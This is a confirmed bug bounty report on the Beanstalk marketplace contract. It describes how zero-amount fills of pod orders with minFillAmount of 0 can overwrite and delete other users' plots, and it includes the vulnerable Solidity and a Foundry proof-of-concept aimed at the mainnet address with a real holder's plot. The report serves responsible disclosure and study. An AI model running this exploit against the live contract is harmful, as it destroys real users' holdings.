Report #31944

Report Date

June 3, 2024

Status

Confirmed

Payout

10,000

Malicious users can delete plots from other users if they have `podOrder.minFillAmount == 0`

‣

Report Info

BIR-16: Plot Deletion

BIC Response

It appears there are two open Pod Orders with a minFillAmount of 0. One of the orders is not vulnerable because they do not have any Plots before the order's maxPlaceInLine. However, the other order has about 80k Pods.

We have changed the severity of the report to Medium as the most accurate impact in scope to describe this issue would be Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol). This is because the attacker has nothing to gain by doing this, and furthermore Pods are simply illiquid value in contract storage—any "attack" could easily be reversed.

Given the exploitability of the issue, the BIC has determined that this bug report be rewarded the maximum reward for Medium severity reports of 10k Beans.

Malicious users can delete plots from other users if they have `podOrder.minFillAmount == 0`

‣

Report Info

Report ID

#31944

Report type

Smart Contract

Has PoC?

Yes

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Impacts

Permanent freezing of funds

Description

If a user has open podOrder with minFillAmount == 0, an attacker can delete all of their plots.

Vulnerability Details

Let's look at the code of _transferPlot

    function _transferPlot(
        address from,
        address to,
        uint256 index,
        uint256 start,
        uint256 amount
    ) internal {
        require(from != to, "Field: Cannot transfer Pods to oneself.");
        insertPlot(to, index.add(start), amount);
        removePlot(from, index, start, amount.add(start));
        emit PlotTransfer(from, to, index.add(start), amount);
    }

    function insertPlot(
        address account,
        uint256 id,
        uint256 amount
    ) internal {
        s.a[account].field.plots[id] = amount;
    }

As we can see, the way transfer works, is that the receiver's index + start slot is overwritten to its new value. This could be problematic, if a user manages to invoke a transfer for an index which the receiver already has.

Though, since two users cannot possibly have plots on the same index, the only way this could be executed is through a 0-value transfer.

    function transferPlot(
        address sender,
        address recipient,
        uint256 id,
        uint256 start,
        uint256 end
    ) external payable nonReentrant {
        require(
            sender != address(0) && recipient != address(0),
            "Field: Transfer to/from 0 address."
        );
        uint256 amount = s.a[sender].field.plots[id];
        require(amount > 0, "Field: Plot not owned by user.");
        require(end > start && amount >= end, "Field: Pod range invalid.");
        amount = end - start; // Note: SafeMath is redundant here.
        if (msg.sender != sender && allowancePods(sender, msg.sender) != uint256(-1)) {
                decrementAllowancePods(sender, msg.sender, amount);
        }

        if (s.podListings[id] != bytes32(0)){
            _cancelPodListing(sender, id);
        }

As we can see, transferPlot correctly has a mitigation to not allow 0-value transfers, hence the issue cannot be caused here. The only other way transfer pods to a receiver of your choice is by filling their pod orders.

    function _fillPodOrder(
        PodOrder calldata o,
        uint256 index,
        uint256 start,
        uint256 amount,
        LibTransfer.To mode
    ) internal {

        require(amount >= o.minFillAmount, "Marketplace: Fill must be >= minimum amount.");
        require(s.a[msg.sender].field.plots[index] >= (start.add(amount)), "Marketplace: Invalid Plot.");
        require(index.add(start).add(amount).sub(s.f.harvestable) <= o.maxPlaceInLine, "Marketplace: Plot too far in line.");

        bytes32 id = createOrderId(o.account, o.pricePerPod, o.maxPlaceInLine, o.minFillAmount);
        uint256 costInBeans = amount.mul(o.pricePerPod).div(1000000);
        s.podOrders[id] = s.podOrders[id].sub(costInBeans, "Marketplace: Not enough beans in order.");

        LibTransfer.sendToken(C.bean(), costInBeans, msg.sender, mode);

        if (s.podListings[index] != bytes32(0)) _cancelPodListing(msg.sender, index);

        _transferPlot(msg.sender, o.account, index, start, amount);

        if (s.podOrders[id] == 0) delete s.podOrders[id];

        emit PodOrderFilled(msg.sender, o.account, id, index, start, amount, costInBeans);
    }

And as we can see, _fillPodOrder does not have the necessary restriction to prohibit 0-value transfers. This means that if a user has an open podOrder with minFillAmount == 0, an attacker can call fill with 0 value, setting the index to an index which the order owner has and overwrite its value to 0.

The attached PoC below should be run on mainnet fork. It uses a random user's balance to illustrate the issue. Run the PoC on block 20010286 to make sure everything executes correctly

Impact Details

Plot owners might lose all of their balance.

References

Add any relevant links to documentation or code

Proof of concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {MarketplaceFacet} from "../IMarketPlaceFacet.sol"; 
import {IERC20} from "../IERC20.sol"; 

contract MyTest is Test { 
    address owner = address(0xfF961eD9c48FBEbDEf48542432D21efA546ddb89);
    address wallet2 = address(111);
    IERC20 token = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);

    uint256 plotId = 922824131039105;
    uint256 amount1 = 871141743752;

    MarketplaceFacet beanstalk = MarketplaceFacet(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
    MarketplaceFacet.To mode;
    MarketplaceFacet.From modeFrom;

    function setUp() public { 
        deal(address(token), owner, 1000e18);
        vm.prank(owner);
        token.approve(address(beanstalk), 1000e18);
    }

    function test_issue() public { 
        vm.startPrank(owner);
        beanstalk.createPodListing(plotId, 0, amount1, 200000, 261128909242563, 0, mode); // creating a Listing to show the user has plots initially

        beanstalk.cancelPodListing(plotId);
        beanstalk.createPodOrder(1, 200000, 2611289092425630, 0, modeFrom);

        MarketplaceFacet.PodOrder memory order;
        order.account = owner;
        order.pricePerPod = 200000;
        order.maxPlaceInLine = 2611289092425630;

        vm.startPrank(wallet2);
        beanstalk.fillPodOrder(order, plotId, 0, 0, mode);

        vm.startPrank(owner);
        vm.expectRevert("Marketplace: Invalid Plot/Amount."); // pod listing fails, due to inexistent balance.
        beanstalk.createPodListing(plotId, 0, amount1, 200000, 261128909242563, 0, mode); 
    }
    

    
}

BIC Response

Given the exploitability of the issue, the BIC has determined that this bug report be rewarded the maximum reward for Medium severity reports of 10k Beans.